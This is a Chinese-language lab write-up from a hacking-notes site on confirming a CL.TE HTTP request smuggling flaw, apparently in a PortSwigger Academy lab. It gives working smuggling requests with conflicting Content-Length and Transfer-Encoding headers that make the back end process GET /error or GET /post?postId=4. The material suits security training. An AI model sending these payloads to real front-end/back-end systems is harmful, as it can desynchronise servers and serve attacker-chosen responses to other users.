> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).

# 通过差异响应确认 CL.TE 漏洞

### HTTP 请求走私，通过差异响应确认 CL.TE 漏洞

该实验室使用前端服务器和内部服务器。前端服务器 **不处理分块** 编码。/ 目标是 **将请求走私到后端** 以便下一次对 **/** 触发一个响应 **404 未找到**.

> **注意：** 即使实验室接受 HTTP/2，所需方法也只能在 HTTP/1 中使用。/ **提示：** Burp 的 HTTP Request Smuggler 插件可帮助自动重新计算长度。

#### 初步观察

前端解释 **Content-Length**，而后端基于 **Transfer-Encoding**。/ 发送一个最小请求：

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```

然后通过添加一个参数，长度逻辑上变为 9：

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9

test=test
```

<figure><img src="/files/9ee339b28827de37606aaad5d3a0ec7913c8b149" alt=""><figcaption></figcaption></figure>

为避免长度自动重新计算，引入一个新请求头。

<figure><img src="/files/06efa644360e3468c2bc4f3001f909849515ab95" alt="" width="392"><figcaption></figcaption></figure>

#### 添加 *Transfer-Encoding*

如果我们添加：

```http
Transfer-Encoding: chunked
```

服务器返回一个去同步错误：

HTTP/1.1 500 内部服务器错误

<figure><img src="/files/bc876c13e422b0714341842fca839d39de98d36e" alt=""><figcaption></figcaption></figure>

但是，当发送有效的分块负载时：

```http
Content-Length: 13
Transfer-Encoding: chunked

3
abc
0
```

<figure><img src="/files/3a38978c2acbcb943c366cab7644c3fc257fb052" alt=""><figcaption></figcaption></figure>

响应会返回于 **200 OK**.

<figure><img src="/files/56a0d5dae0ce7544b4f20c5c17da9aa085c4e9b3" alt=""><figcaption></figcaption></figure>

我们还可以测试：

```http
Content-Length: 5
Transfer-Encoding: chunked

0

```

#### 向后端注入一个请求

为了获得一个 **404**，你必须强制后端处理一个额外请求。/ 如果添加：

```http
GET /error HTTP/1.1
测试：A
```

并且后端正确解释了走私的请求，它就会执行 `GET /error`.

完整示例：

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

3
abc
0

GET /error HTTP/1.1
测试：A
```

第一个响应在 **200**，但浏览器发送的下一次请求触发了一个 **404**，这证明了去同步。

<figure><img src="/files/4450ed728d9438a208a0a939c6ccb928e2759ae4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/902bba45c5577205f300a12bb8a3a132c9be711c" alt=""><figcaption></figcaption></figure>

#### 变体：运行另一个页面

如果你想让后端执行另一个资源，例如：

```http
GET /post?postId=4 HTTP/1.1
测试：A
```

那么主页面将显示与帖子 4 对应的内容，确认走私的查询已被后端处理。

<figure><img src="/files/56170728a76fbf0142fe3739f8ac96f413e0160b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
